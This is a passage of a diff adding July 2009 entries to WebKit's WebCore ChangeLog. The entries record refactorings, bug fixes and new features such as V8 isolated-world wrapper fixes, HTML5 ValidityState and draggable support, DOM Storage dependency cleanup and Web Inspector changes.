+        backends support fullscreen.
+
+        * html/HTMLMediaElement.cpp:
+        * html/HTMLMediaElement.h:
+        (WebCore::HTMLMediaElement::supportsFullscreen):
+
+2009-07-14  Darin Adler  <darin@apple.com>
+
+        Reviewed by Dimitri Glazkov.
+
+        Next step in making DOM attribute getter/setters consistently use AtomicString
+        https://bugs.webkit.org/show_bug.cgi?id=25425
+
+        This covers eight DOM classes, and for each one of the classes:
+
+        - Changes the IDL to use the Reflect syntax for all simple cases.
+        - Removes unused functions in the classes, mainly newly unused ones that were
+          used for reflection before.
+        - Removes unneeded explicitly defined destructors.
+        - Explicitly declares destructors as virtual.
+        - Removes unneeded includes.
+        - Makes members protected or private rather than public where possible.
+        - Renames "doc" to "document".
+        - Tweaks formatting to match our latest style in a few places.
+        - Improves some FIXME comments.
+
+        Over time we'll want to do this for all HTML DOM classes.
+
+        * html/HTMLAnchorElement.cpp:
+        (WebCore::HTMLAnchorElement::HTMLAnchorElement):
+        * html/HTMLAnchorElement.h:
+        (WebCore::HTMLAnchorElement::endTagRequirement):
+        (WebCore::HTMLAnchorElement::tagPriority):
+        * html/HTMLAnchorElement.idl:
+        * html/HTMLAppletElement.cpp:
+        * html/HTMLAppletElement.h:
+        * html/HTMLAppletElement.idl:
+        * html/HTMLAreaElement.cpp:
+        (WebCore::HTMLAreaElement::parseMappedAttribute):
+        * html/HTMLAreaElement.h:
+        (WebCore::HTMLAreaElement::endTagRequirement):
+        (WebCore::HTMLAreaElement::tagPriority):
+        * html/HTMLAreaElement.idl:
+        * html/HTMLBRElement.cpp:
+        (WebCore::HTMLBRElement::parseMappedAttribute):
+        * html/HTMLBRElement.h:
+        * html/HTMLBRElement.idl:
+        * html/HTMLBaseElement.cpp:
+        (WebCore::HTMLBaseElement::HTMLBaseElement):
+        (WebCore::HTMLBaseElement::removedFromDocument):
+        (WebCore::HTMLBaseElement::process):
+        * html/HTMLBaseElement.h:
+        * html/HTMLBaseElement.idl:
+        * html/HTMLBaseFontElement.cpp:
+        (WebCore::HTMLBaseFontElement::HTMLBaseFontElement):
+        * html/HTMLBaseFontElement.h:
+        (WebCore::HTMLBaseFontElement::endTagRequirement):
+        (WebCore::HTMLBaseFontElement::tagPriority):
+        * html/HTMLBaseFontElement.idl:
+        * html/HTMLBlockquoteElement.cpp:
+        (WebCore::HTMLBlockquoteElement::HTMLBlockquoteElement):
+        * html/HTMLBlockquoteElement.h:
+        (WebCore::HTMLBlockquoteElement::tagPriority):
+        * html/HTMLBlockquoteElement.idl:
+        * html/HTMLBodyElement.cpp:
+        (WebCore::HTMLBodyElement::HTMLBodyElement):
+        (WebCore::HTMLBodyElement::addSubresourceAttributeURLs):
+        * html/HTMLBodyElement.h:
+        (WebCore::HTMLBodyElement::endTagRequirement):
+        (WebCore::HTMLBodyElement::tagPriority):
+        * html/HTMLBodyElement.idl:
+        Made changes as described above.
+
+        * loader/FrameLoader.cpp: Removed unneeded include of HTMLAnchorElement.h.
+
+2009-07-14  Steve Falkenburg  <sfalken@apple.com>
+
+        Reorganize JavaScriptCore headers into:
+        API: include/JavaScriptCore/
+        Private: include/private/JavaScriptCore/
+
+        Reviewed by Darin Adler.
+
+        * WebCore.vcproj/QTMovieWin.vcproj:
+        * WebCore.vcproj/WebCoreCommon.vsprops:
+        * WebCore.vcproj/build-generated-files.sh:
+
+2009-07-14  Zoltan Horvath  <hzoltan@inf.u-szeged.hu>
+
+        Reviewed by Darin Adler.
+
+        Change all Noncopyable inheriting visibility to public.
+        https://bugs.webkit.org/show_bug.cgi?id=27225
+
+        Change all Noncopyable inheriting visibility to public because
+        it is needed to the custom allocation framework (bug #20422).
+
+        * bindings/js/GCController.h:
+        * bindings/js/WorkerScriptController.h:
+        * bindings/v8/V8DOMMap.cpp:
+        (WebCore::):
+        * bridge/runtime.h:
+        * css/CSSSelector.h:
+        * css/CSSSelectorList.h:
+        * css/CSSStyleSelector.h:
+        * dom/ClassNames.h:
+        * dom/MessagePortChannel.h:
+        * dom/XMLTokenizerLibxml2.cpp:
+        * dom/XMLTokenizerScope.h:
+        * editing/ReplaceSelectionCommand.cpp:
+        * editing/SelectionController.h:
+        * editing/TextIterator.cpp:
+        * history/PageCache.h:
+        * html/CanvasRenderingContext2D.h:
+        * html/HTMLParser.h:
+        * html/HTMLParserQuirks.h:
+        * html/PreloadScanner.h:
+        * loader/Cache.h:
+        * loader/CrossOriginPreflightResultCache.h:
+        * loader/FrameLoader.h:
+        * loader/ProgressTracker.h:
+        * loader/ThreadableLoader.h:
+        * loader/appcache/ApplicationCacheGroup.h:
+        * loader/archive/ArchiveResourceCollection.h:
+        * loader/icon/IconDatabase.h:
+        * loader/icon/IconLoader.h:
+        * loader/icon/PageURLRecord.h:
+        * loader/loader.h:
+        * page/ContextMenuController.h:
+        * page/EventHandler.h:
+        * page/FrameTree.h:
+        * page/Page.h:
+        * page/PageGroup.h:
+        * page/PageGroupLoadDeferrer.h:
+        * page/mac/EventHandlerMac.mm:
+        * platform/AutodrainedPool.h:
+        * platform/ContextMenu.h:
+        * platform/EventLoop.h:
+        * platform/HostWindow.h:
+        * platform/Pasteboard.h:
+        * platform/PurgeableBuffer.h:
+        * platform/RunLoopTimer.h:
+        * platform/ThreadGlobalData.h:
+        * platform/ThreadTimers.h:
+        * platform/Timer.h:
+        * platform/TreeShared.h:
+        * platform/graphics/FontData.h:
+        * platform/graphics/GlyphWidthMap.h:
+        * platform/graphics/GraphicsContext.h:
+        * platform/graphics/ImageBuffer.h:
+        * platform/graphics/ImageSource.h:
+        * platform/graphics/MediaPlayer.h:
+        * platform/graphics/skia/GraphicsContextPlatformPrivate.h:
+        * platform/graphics/skia/PlatformContextSkia.h:
+        * platform/graphics/win/QTMovieWin.cpp:
+        * platform/mac/LocalCurrentGraphicsContext.h:
+        * platform/network/FormDataBuilder.h:
+        * platform/network/ResourceHandleInternal.h:
+        * platform/network/soup/ResourceHandleSoup.cpp:
+        * platform/text/StringBuffer.h:
+        * platform/text/TextCodec.h:
+        * platform/win/WindowMessageBroadcaster.h:
+        * rendering/CounterNode.h:
+        * rendering/LayoutState.h:
+        * rendering/RenderFrameSet.h:
+        * rendering/RenderView.h:
+        * rendering/TransformState.h:
+        * svg/SVGAnimatedProperty.h:
+        * svg/SynchronizableTypeWrapper.h:
+        * workers/WorkerMessagingProxy.h:
+        * workers/WorkerRunLoop.cpp:
+        * xml/XPathExpressionNode.h:
+        * xml/XPathParser.h:
+        * xml/XPathPredicate.h:
+        * xml/XPathStep.h:
+
+2009-07-14  Darin Fisher  <darin@chromium.org>
+
+        Reviewed by Darin Adler.
+
+        Fails to save document state when navigating away from a page with a
+        reference fragment.
+        https://bugs.webkit.org/show_bug.cgi?id=27281
+
+        Test: fast/history/saves-state-after-fragment-nav.html
+
+        * history/HistoryItem.cpp:
+        (WebCore::HistoryItem::isCurrentDocument): Use equalIgnoringRef
+        to compare URLs.
+
+2009-07-14  Joseph Pecoraro  <joepeck02@gmail.com>
+
+        Reviewed by Sam Weinig.
+
+        Inspector: Remove Unintended Global Variables
+        https://bugs.webkit.org/show_bug.cgi?id=27203
+
+        * inspector/front-end/Console.js:
+        (WebInspector.Console.prototype._ensureCommandLineAPIInstalled):
+        * inspector/front-end/DatabasesPanel.js:
+        (WebInspector.DatabasesPanel.prototype.dataGridForDOMStorage):
+        * inspector/front-end/ObjectPropertiesSection.js:
+        (WebInspector.ObjectPropertyTreeElement.prototype.update):
+        * inspector/front-end/inspector.js:
+        (WebInspector.animateStyle):
+
+2009-07-14  Michelangelo De Simone  <micdesim@gmail.com>
+
+        Reviewed by Adele Peterson.
+
+        https://bugs.webkit.org/show_bug.cgi?id=19562
+        Added build stuff and stub for the ValidityState class, part of HTML5
+        section Forms:
+        http://www.whatwg.org/specs/web-apps/current-work/multipage/forms.html#validitystate
+
+        Test: fast/forms/ValidityState-001.html
+
+        * DerivedSources.cpp: Inclusion of ValidityState files
+        * DerivedSources.make: ditto
+        * GNUmakefile.am: ditto
+        * WebCore.gypi: ditto
+        * WebCore.pro: ditto
+        * WebCore.vcproj/WebCore.vcproj: ditto
+        * WebCore.xcodeproj/project.pbxproj: ditto
+        * WebCoreSources.bkl: ditto
+        * html/HTMLButtonElement.idl: validity attribute
+        * html/HTMLFieldSetElement.idl: ditto
+        * html/HTMLFormControlElement.cpp:
+        (WebCore::HTMLFormControlElement::validity): ValidityState getter
+        * html/HTMLFormControlElement.h: ditto
+        * html/HTMLInputElement.idl: validity attribute
+        * html/HTMLSelectElement.idl: ditto
+        * html/HTMLTextAreaElement.idl: ditto
+        * html/ValidityState.cpp: Added.
+        (WebCore::ValidityState::ValidityState):
+        (WebCore::ValidityState::valid): validation flag
+        * html/ValidityState.h: Added.
+        (WebCore::ValidityState::create): validation flag
+        (WebCore::ValidityState::control): ditto
+        (WebCore::ValidityState::valueMissing): ditto
+        (WebCore::ValidityState::typeMismatch): ditto
+        (WebCore::ValidityState::patternMismatch): ditto
+        (WebCore::ValidityState::tooLong): ditto
+        (WebCore::ValidityState::rangeUnderflow): ditto
+        (WebCore::ValidityState::rangeOverflow): ditto
+        (WebCore::ValidityState::stepMismatch): ditto
+        (WebCore::ValidityState::customError): ditto
+        * html/ValidityState.idl: Added.
+
+2009-07-14  Ryosuke Niwa  <rniwa@google.com>
+
+        Reviewed by Eric Seidel.
+
+        Outdenting a line inside a blockquote tag does nothing
+        https://bugs.webkit.org/show_bug.cgi?id=25316
+
+        The bug was caused by the code checking whether the blockquote is created by WebKit or not.
+        We simply remove this code to be consistent with Firefox and Internet Explorer.
+        Also, enclosingBlockFlow == enclosingNode in outdentParagraph isn't a sufficient condition to insert
+        the placeholder before the enclosingNode because there could be contents before the current paragraph.
+        Instead, we should split the enclosingNode (which is a blockquote) at the starting position of outdentation.
+        It turned out that this solves the bug 25315 also: https://bugs.webkit.org/show_bug.cgi?id=25315
+
+        Test: editing/execCommand/outdent-regular-blockquote.html
+
+        * editing/IndentOutdentCommand.cpp:
+        (WebCore::isIndentBlockquote): no longer checks whether a blockquote is created by WebKit or not.
+        (WebCore::IndentOutdentCommand::outdentParagraph): takes care of the case enclosingBlockFlow == enclosingNode
+
+2009-07-14  Adam Barth  <abarth@webkit.org>
+
+        Reviewed by Dimitri Glazkov.
+
+        [V8] Fix isolated world wrappers for Node prototypes
+        https://bugs.webkit.org/show_bug.cgi?id=27277
+
+        This change does two things:
+
+        1) We bypass the wrapper cache in the isolated world.  This is because
+           the wrapper template cache has prototypes that lead to the main
+           world.  We can add a template cache for the isolated world if
+           performance warrants.
+
+        2) We introduce a smarter way to grab the wrapper context for a frame
+           that is aware that proxy <-> context do not stand in one-to-one
+           correspondence.  This generalizes our solution for the node wrapper
+           case to prototypes.
+
+        The net result is that Node wrappers get the right prototypes.  As
+        before, tests to follow.
+
+        * bindings/v8/V8DOMWrapper.cpp:
+        (WebCore::V8DOMWrapper::setHiddenWindowReference):
+        (WebCore::V8DOMWrapper::instantiateV8Object):
+        (WebCore::V8DOMWrapper::convertNodeToV8Object):
+        (WebCore::V8DOMWrapper::convertWindowToV8Object):
+        (WebCore::V8DOMWrapper::getWrapperContext):
+        * bindings/v8/V8DOMWrapper.h:
+
+2009-07-14  Adam Barth  <abarth@webkit.org>
+
+        Reviewed by Dimitri Glazkov.
+
+        [V8] Fix isolated world wrappers for Nodes
+        https://bugs.webkit.org/show_bug.cgi?id=27271
+
+        Previously, we keepy a pointer to the DOMMap on V8Proxy, but this
+        caused us to miss the branch in V8DOMMap.cpp for isolated worlds.
+
+        I have tests, but I can't land them until I get this feature under
+        control.
+
+        * bindings/v8/V8DOMWrapper.cpp:
+        (WebCore::V8DOMWrapper::convertNodeToV8Object):
+        * bindings/v8/V8Proxy.h:
+        (WebCore::V8Proxy::V8Proxy):
+
+2009-07-14  Adam Barth  <abarth@webkit.org>
+
+        Reviewed by Dimitri Glazkov.
+
+        [V8] Fix isolated world crash on getting window.location
+        https://bugs.webkit.org/show_bug.cgi?id=27268
+
+        I have a test for this locally, but it requires a compile-time hack to
+        run.  Once I get the feature's stability under control, we can turn the
+        feature on and add the tests.
+
+        * bindings/v8/V8DOMWrapper.cpp:
+        (WebCore::V8DOMWrapper::setHiddenWindowReference):
+        * bindings/v8/V8IsolatedWorld.h:
+        (WebCore::V8IsolatedWorld::context):
+
+2009-07-14  Brent Fulgham  <bfulgham@webkit.org>
+
+        Correct failing tests after r45875.  The original patch did not
+        test the m_player member for null, causing crashes.  This will
+        happen fairly frequently in real use.  Was this original patch
+        ever tested?
+        https://bugs.webkit.org/show_bug.cgi?id=27246
+
+        Test via existing media tests.
+
+        * html/HTMLMediaElement.cpp:
+        (WebCore::HTMLMediaElement::supportsFullscreen): Check for null pointer.
+        (WebCore::HTMLMediaElement::supportsSave): Check for null pointer.
+
+2009-07-14  Avi Drissman  <avi@chromium.org>
+
+        Reviewed by Darin Fisher.
+
+        Explicitly mark the HTML generated for the Mac as being UTF-8 encoded.
+        The Windows clipboard format is explicitly documented as being UTF-8,
+        and all Linux apps assume UTF-8. On the Mac, though, unless otherwise
+        indicated, Windows-1252 is assumed, which is wrong.
+
+        Bug: https://bugs.webkit.org/show_bug.cgi?id=27262
+
+        No new tests.
+
+        * platform/chromium/ClipboardChromium.cpp:
+        (WebCore::ClipboardChromium::writeRange):
+        * platform/chromium/PasteboardChromium.cpp:
+        (WebCore::Pasteboard::writeSelection):
+
+2009-07-14  Albert J. Wong  <ajwong@chromium.org>
+
+        Reviewed by Dimitri Glazkov.
+
+        Upstream V8NPObject.h and V8NPObject.cpp.
+        https://bugs.webkit.org/show_bug.cgi?id=27103
+
+        This just upstreams the files from the chromium code base. Only
+        minor changes to formatting and similar were done, so no testing
+        is required because nothing really changed.  Code verified to compile.
+
+        * bindings/v8/ScriptController.cpp:
+        (WebCore::ScriptController::bindToWindowObject):
+        (WebCore::ScriptController::createScriptInstanceForWidget):
+        * bindings/v8/V8NPObject.cpp: Added.
+        (npObjectInvokeImpl):
+        (npObjectMethodHandler):
+        (npObjectInvokeDefaultHandler):
+        (weakTemplateCallback):
+        (npObjectGetProperty):
+        (npObjectNamedPropertyGetter):
+        (npObjectIndexedPropertyGetter):
+        (npObjectGetNamedProperty):
+        (npObjectGetIndexedProperty):
+        (npObjectSetProperty):
+        (npObjectNamedPropertySetter):
+        (npObjectIndexedPropertySetter):
+        (npObjectSetNamedProperty):
+        (npObjectSetIndexedProperty):
+        (weakNPObjectCallback):
+        (createV8ObjectForNPObject):
+        (forgetV8ObjectForNPObject):
+        * bindings/v8/V8NPObject.h: Added.
+        * bindings/v8/custom/V8HTMLPlugInElementCustom.cpp:
+        (WebCore::NAMED_PROPERTY_GETTER):
+        (WebCore::NAMED_PROPERTY_SETTER):
+        (WebCore::CALLBACK_FUNC_DECL):
+        (WebCore::INDEXED_PROPERTY_GETTER):
+        (WebCore::INDEXED_PROPERTY_SETTER):
+
+
+2009-07-14  Albert J. Wong  <ajwong@chromium.org>
+
+        Reviewed by Darin Adler.
+
+        Add HTMLMediaElement::supportSave() and a
+        HitTestResult::absoluteMediaURL() functions
+        https://bugs.webkit.org/show_bug.cgi?id=27246
+
+        Added an implementation of supportsSave() into HTMLMediaElement
+        that delegates to MediaPlayerPrivateImpl so that the media engine
+        is able to signal whether or not a media source supports saving.
+
+        Also added a function to HitTestResult that allows for retrieval
+        of the currentSrc associated with the "hit" media element. 
+        
+        These functions are just pipeing with no visible UI change so there
+        are no related layout test changes.
+
+        * html/HTMLMediaElement.cpp:
+        (WebCore::HTMLMediaElement::supportsFullscreen): 
+        (WebCore::HTMLMediaElement::supportsSave):
+        * html/HTMLMediaElement.h:
+        * platform/graphics/MediaPlayer.cpp:
+        (WebCore::MediaPlayer::supportsSave):
+        * platform/graphics/MediaPlayer.h:
+        * platform/graphics/MediaPlayerPrivate.h:
+        (WebCore::MediaPlayerPrivateInterface::supportsFullscreen):
+        (WebCore::MediaPlayerPrivateInterface::supportsSave):
+        * rendering/HitTestResult.cpp:
+        (WebCore::HitTestResult::altDisplayString):
+        (WebCore::HitTestResult::absoluteMediaURL):
+        * rendering/HitTestResult.h:
+
+2009-07-14  Dimitri Glazkov  <dglazkov@chromium.org>
+
+        Reviewed by Adam Barth.
+
+        [V8] Implement Reflect and ReflectURL attribute support.
+        https://bugs.webkit.org/show_bug.cgi?id=27273
+
+        * bindings/scripts/CodeGeneratorV8.pm: Added support for Reflect and ReflectURL attributes.
+
+2009-07-14  Dmitry Titov  <dimich@chromium.org>
+
+        Reviewed by Darin Adler.
+
+        https://bugs.webkit.org/show_bug.cgi?id=27266
+        Add hasCurrentPoint() to WebCore::Path.
+        This fixes Skia-based Chromium regression caused by the fix for
+        https://bugs.webkit.org/show_bug.cgi?id=27187.
+        For Skia, the new method always returns 'true', pending actual implementation.
+        This means Chromium still will differ from Gecko behavior, but at least its Canvas
+        will not be completely broken.
+
+        Existing Canvas Layout Tests should pass in Chromium after this change.
+
+        * html/CanvasRenderingContext2D.cpp:
+        (WebCore::CanvasRenderingContext2D::lineTo): insteand of Path::isEmpty() test for hasCurrentPoint().
+        (WebCore::CanvasRenderingContext2D::quadraticCurveTo): ditto.
+        (WebCore::CanvasRenderingContext2D::bezierCurveTo): ditto.
+
+        * platform/graphics/Path.h:
+        * platform/graphics/cairo/PathCairo.cpp:
+        (WebCore::Path::hasCurrentPoint):
+        * platform/graphics/cg/PathCG.cpp:
+        (WebCore::Path::isEmpty):
+        (WebCore::Path::hasCurrentPoint):
+        * platform/graphics/qt/PathQt.cpp:
+        (WebCore::Path::hasCurrentPoint):
+        * platform/graphics/skia/PathSkia.cpp:
+        (WebCore::Path::hasCurrentPoint):
+        * platform/graphics/wx/PathWx.cpp:
+        (WebCore::Path::hasCurrentPoint):
+        All these files add a Path::hasCurrentPoint() for various platforms.
+
+2009-07-14  Nate Chapin  <japhet@chromium.org>
+
+        Reviewed by Sam Weinig.
+
+        Upstream RGBColor from src.chromium.org.
+
+        https://bugs.webkit.org/show_bug.cgi?id=27133
+
+        * WebCore.gypi: Add RGBColor
+        * css/RGBColor.cpp: Added.
+        (WebCore::RGBColor::create):
+        (WebCore::RGBColor::red):
+        (WebCore::RGBColor::green):
+        (WebCore::RGBColor::blue):
+        * css/RGBColor.h: Added.
+        (WebCore::RGBColor::RGBColor):
+
+2009-07-10  Matt Perry  <mpcomplete@chromium.org>
+
+        Reviewed by Darin Fisher.
+
+        [V8] Rename the didCreate/DestroyScriptContext calls to make it
+        clear that that those refer to the frame's contxt.  Add another
+        similar call for when creating contexts via evaluateInNewContext.
+        https://bugs.webkit.org/show_bug.cgi?id=27104
+
+        * bindings/v8/V8Proxy.cpp:
+        (WebCore::V8Proxy::evaluateInNewContext):
+        (WebCore::V8Proxy::disposeContextHandles):
+        (WebCore::V8Proxy::initContextIfNeeded):
+        * loader/EmptyClients.h:
+        (WebCore::EmptyFrameLoaderClient::didCreateScriptContextForFrame):
+        (WebCore::EmptyFrameLoaderClient::didDestroyScriptContextForFrame):
+        (WebCore::EmptyFrameLoaderClient::didCreateIsolatedScriptContext):
+        * loader/FrameLoaderClient.h:
+
+2009-07-14  Brent Fulgham  <bfulgham@webkit.org>
+
+        Revert http://trac.webkit.org/changeset/45864 after
+        breaking of Windows build.
+
+        * storage/LocalStorageTask.cpp:
+        * storage/LocalStorageTask.h:
+        * storage/Storage.cpp:
+        * storage/Storage.h:
+        * storage/StorageArea.cpp:
+        * storage/StorageArea.h:
+        * storage/StorageAreaImpl.cpp:
+        * storage/StorageAreaImpl.h:
+        * storage/StorageAreaSync.cpp:
+        * storage/StorageAreaSync.h:
+        * storage/StorageEvent.cpp:
+        * storage/StorageEvent.h:
+        (WebCore::StorageEvent::create):
+        (WebCore::StorageEvent::StorageEvent):
+        * storage/StorageNamespace.h:
+        * storage/StorageNamespaceImpl.cpp:
+        * storage/StorageNamespaceImpl.h:
+        * storage/StorageSyncManager.cpp:
+        * storage/StorageSyncManager.h:
+
+2009-07-11  Jeremy Orlow  <jorlow@chromium.org>
+
+        Reviewed by Darin Adler.
+
+        Cleanup DOM Storage dependencies.
+        https://bugs.webkit.org/show_bug.cgi?id=27180
+
+        DOM Storage had several unnecessary (and probably unintended)
+        dependencies.  This patch replaces many includes of header files with
+        forward declaration of classes, making some destructors explicit, and
+        taking some factories out of the header files.
+
+        This will allow things like StorageAreaSync to take a StorageAreaImpl*
+        (as it should) rather than a StorageArea* which previously weren't
+        possible because the dependencies were such a tangled mess.
+
+        * storage/LocalStorageTask.cpp:
+        (WebCore::LocalStorageTask::~LocalStorageTask):
+        * storage/LocalStorageTask.h:
+        * storage/Storage.cpp:
+        (WebCore::Storage::~Storage):
+        * storage/Storage.h:
+        * storage/StorageArea.cpp:
+        * storage/StorageArea.h:
+        * storage/StorageAreaImpl.cpp:
+        * storage/StorageAreaImpl.h:
+        * storage/StorageAreaSync.cpp:
+        (WebCore::StorageAreaSync::~StorageAreaSync):
+        * storage/StorageAreaSync.h:
+        * storage/StorageEvent.cpp:
+        (WebCore::StorageEvent::create):
+        (WebCore::StorageEvent::StorageEvent):
+        * storage/StorageEvent.h:
+        * storage/StorageNamespace.h:
+        * storage/StorageNamespaceImpl.cpp:
+        * storage/StorageNamespaceImpl.h:
+        * storage/StorageSyncManager.cpp:
+        (WebCore::StorageSyncManager::~StorageSyncManager):
+        * storage/StorageSyncManager.h:
+
+
+2009-07-14  Adam Treat  <adam.treat@torchmobile.com>
+
+        Reviewed by David Hyatt.
+
+        https://bugs.webkit.org/show_bug.cgi?id=26983
+
+        Check to make sure the view is attached to a frame() in the visibleContentsResized()
+        method as it can be triggered before the view is attached by Frame::createView(...)
+        setting various values such as setScrollBarModes(...) for example.  An ASSERT is
+        triggered when a view is layout before being attached to a frame().
+
+        * page/FrameView.cpp:
+        (WebCore::FrameView::visibleContentsResized):
+        * page/FrameView.h:
+
+2009-07-14  Pavel Feldman  <pfeldman@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        WebInspector: show last opened panel when invoking inspector.
+
+        https://bugs.webkit.org/show_bug.cgi?id=27263
+
+        * inspector/InspectorController.cpp:
+        (WebCore::InspectorController::InspectorController):
+        (WebCore::InspectorController::setWindowVisible):
+        (WebCore::InspectorController::storeLastActivePanel):
+        (WebCore::InspectorController::specialPanelForJSName):
+        * inspector/InspectorController.h:
+        (WebCore::InspectorController::Setting::Setting):
+        * inspector/InspectorController.idl:
+        * inspector/front-end/inspector.js:
+        (WebInspector.set currentPanel):
+        (WebInspector.loaded):
+
+2009-07-14  Anton Muhin  <antonm@chromium.org>
+
+        Reviewed by Dimitri Glazkov.
+
+        Speed up access to NodeList length.
+        https://bugs.webkit.org/show_bug.cgi?id=27264
+
+        That's a minimal alternation of the code.
+
+        * bindings/v8/custom/V8NodeListCustom.cpp:
+        (WebCore::NAMED_PROPERTY_GETTER): 1) use AtomicString for comparison, 2) use
+        v8::Integer::New instead of v8::Number::New.
+
+2009-07-14  Anton Muhin  <antonm@chromium.org>
+
+        Reviewed by Dimitri Glazkov.
+
+        Do not do unnecessary conversions from v8::Handle<v8::Value> to
+        v8::Handle<v8::Object> and accompanying changes.
+        https://bugs.webkit.org/show_bug.cgi?id=26953
+
+        Three things:
+
+        1) do not cast from v8::Value to v8::Object if unnecessary---casts are cheap,
+        but are not free (they check for emptiness of handle);
+        2) inline conversion from wrapper to node;
+        3) simplify case to an ASSERT.
+
+        This is just a refactoring, so no new tests are needed.
+
+        * bindings/scripts/CodeGeneratorV8.pm:
+        * bindings/v8/V8Proxy.cpp:
+        (WebCore::V8Proxy::evaluateInNewContext):
+        (WebCore::V8Proxy::convertToSVGPODTypeImpl):
+        * bindings/v8/V8Proxy.h:
+        (WebCore::V8Proxy::convertDOMWrapperToNative):
+        (WebCore::V8Proxy::convertToNativeObject):
+        (WebCore::V8Proxy::convertToNativeEvent):
+        * bindings/v8/custom/V8CanvasRenderingContext2DCustom.cpp:
+        (WebCore::toCanvasStyle):
+        (WebCore::CALLBACK_FUNC_DECL):
+        * bindings/v8/custom/V8CustomBinding.cpp:
+        (WebCore::V8Custom::GetTargetFrame):
+        * bindings/v8/custom/V8DOMWindowCustom.cpp:
+        (WebCore::CALLBACK_FUNC_DECL):
+        (WebCore::V8Custom::ClearTimeoutImpl):
+        (WebCore::NAMED_ACCESS_CHECK):
+        (WebCore::INDEXED_ACCESS_CHECK):
+        * bindings/v8/custom/V8DocumentCustom.cpp:
+        (WebCore::CALLBACK_FUNC_DECL):
+        * bindings/v8/custom/V8LocationCustom.cpp:
+        (WebCore::CALLBACK_FUNC_DECL):
+
+2009-07-14  Darin Adler  <darin@apple.com>
+
+        Reviewed by Dan Bernstein.
+
+        Straight quotes should match fancy quotes in in-page search
+        https://bugs.webkit.org/show_bug.cgi?id=27217
+
+        Tests: fast/text/find-quotes.html
+
+        * editing/TextIterator.cpp:
+        (WebCore::foldQuoteMark): Added.
+        (WebCore::foldQuoteMarks): Added.
+        (WebCore::SearchBuffer::SearchBuffer): Call foldQuoteMarks on the target string.
+        (WebCore::SearchBuffer::append): Call foldQuoteMarks on characters as they are
+        added to the search buffer.
+
+        * platform/text/CharacterNames.h: Added more quotation mark character names.
+        Sorted character names with the sort tool.
+
+2009-07-13  Pavel Feldman  <pfeldman@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        WebInspector: handle debugger shortcuts while on source frame or on
+        script file selector.
+
+        https://bugs.webkit.org/show_bug.cgi?id=27224
+
+        * inspector/front-end/ScriptsPanel.js:
+        (WebInspector.ScriptsPanel):
+        * inspector/front-end/SourceFrame.js:
+        (WebInspector.SourceFrame.prototype._loaded):
+
+2009-07-13  Sam Weinig  <sam@webkit.org>
+
+        Reviewed by Darin Adler.
+
+        Use standard HashCountedSet instead of a hand rolled one
+        in HTMLDocument.
+
+        * html/HTMLDocument.cpp:
+        (WebCore::addItemToMap):
+        (WebCore::removeItemFromMap):
+        * html/HTMLDocument.h:
+
+2009-07-13  Erik Arvidsson  <arv@chromium.org>
+
+        Reviewed by Darin Adler and Maciej Stachowiak.
+
+        Implement HTML5 draggable
+        https://bugs.webkit.org/show_bug.cgi?id=26262
+
+        This adds support for the HTML5 draggable attribute and its DOM binding. It maps the draggable property
+        to the CSS properties -webkit-user-drag and -webkit-user-select respectively.
+
+        Spec: http://www.whatwg.org/specs/web-apps/current-work/multipage/editing.html#the-draggable-attribute
+
+        Test: fast/html/draggable.html
+
+        * css/html.css:
+        * html/HTMLAnchorElement.cpp:
+        (WebCore::HTMLAnchorElement::draggable):
+        * html/HTMLAnchorElement.h:
+        * html/HTMLAttributeNames.in:
+        * html/HTMLElement.cpp:
+        (WebCore::HTMLElement::draggable):
+        (WebCore::HTMLElement::setDraggable):
+        * html/HTMLElement.h:
+        * html/HTMLElement.idl:
+        * html/HTMLImageElement.cpp:
+        (WebCore::HTMLImageElement::draggable):
+        * html/HTMLImageElement.h:
+
+2009-07-13  Simon Fraser  <simon.fraser@apple.com>
+
+        Reviewed by Dan Bernstein.
+
+        Image rendered as layer contents looks different from image rendered via CG.
+        <rdar://problem/7048830> 
+        
+        Fix a visible color profile difference between between images rendered via Core Graphics
+        and those rendered via a compositing layer, by assigning the GenericRGB profile to
+        untagged images (which come through as having the DeviceRGB profile) when they are set
+        as layer contents.
+
+        Test: compositing/color-matching/image-color-matching.html
+
+        * platform/graphics/mac/GraphicsLayerCA.mm:
+        (WebCore::GraphicsLayerCA::setContentsToImage):
+
+2009-07-13  Darin Adler  <darin@apple.com>
+
+        Reviewed by Oliver Hunt.
+
+        https://bugs.webkit.org/show_bug.cgi?id=27220
+        Assertion failure in createSearcher() (usearch_open() status is U_USING_DEFAULT_WARNING)
+
+        * editing/TextIterator.cpp:
+        (WebCore::createSearcher): Add U_USING_DEFAULT_WARNING as a possible status code
+        in the assertion. Affects only the assertion.
+
+2009-07-13  Alexey Proskuryakov  <ap@webkit.org>
+
+        Reviewed by Darin Adler.
+
+        https://bugs.webkit.org/show_bug.cgi?id=26925
+        <rdar://problem/7027850> URL Fragment Breaks Application Cache Loads
+
+        Test: http/tests/appcache/main-resource-hash.html
+
+        * loader/appcache/ApplicationCache.cpp:
+        (WebCore::ApplicationCache::resourceForURL):
+        (WebCore::ApplicationCache::resourceForRequest):
+        * loader/appcache/ApplicationCacheGroup.cpp:
+        (WebCore::ApplicationCacheGroup::cacheForMainRequest):
+        (WebCore::ApplicationCacheGroup::fallbackCacheForMainRequest):
+        (WebCore::ApplicationCacheGroup::selectCache):
+        (WebCore::ApplicationCacheGroup::finishedLoadingMainResource):
+        (WebCore::ApplicationCacheGroup::didReceiveResponse):
+        (WebCore::ApplicationCacheGroup::didFail):
+        (WebCore::ApplicationCacheGroup::addEntry):
+        Remove URL fragment at appcache code borders.
+
+        * loader/appcache/ApplicationCacheResource.h:
+        (WebCore::ApplicationCacheResource::create):
+        * loader/appcache/ApplicationCacheStorage.cpp:
+        (WebCore::ApplicationCacheStorage::findOrCreateCacheGroup):
+        (WebCore::ApplicationCacheStorage::cacheGroupForURL):
+        (WebCore::ApplicationCacheStorage::fallbackCacheGroupForURL):
+        Assert that there is no URL fragment in URL at key points in appcache code.
+
+2009-07-13  Darin Adler  <darin@apple.com>
+
+        Reviewed by Dan Bernstein.
+
+        https://bugs.webkit.org/show_bug.cgi?id=27166
+        rdar://problem/7015857
+        Find for strings composed entirely of spaces doesn't work
+
+        Test: fast/text/find-spaces.html
+
+        * editing/TextIterator.cpp:
+        (WebCore::findPlainText): Removed unneeded special case.
+        The empty string case already works correctly.
+
+2009-07-13  Anders Carlsson  <andersca@apple.com>
+
+        Reviewed by Kevin Decker.
+
+        Remove NPPVpluginPrivateModeBool, it was removed from the spec.
+        
+        * bridge/npapi.h:
+
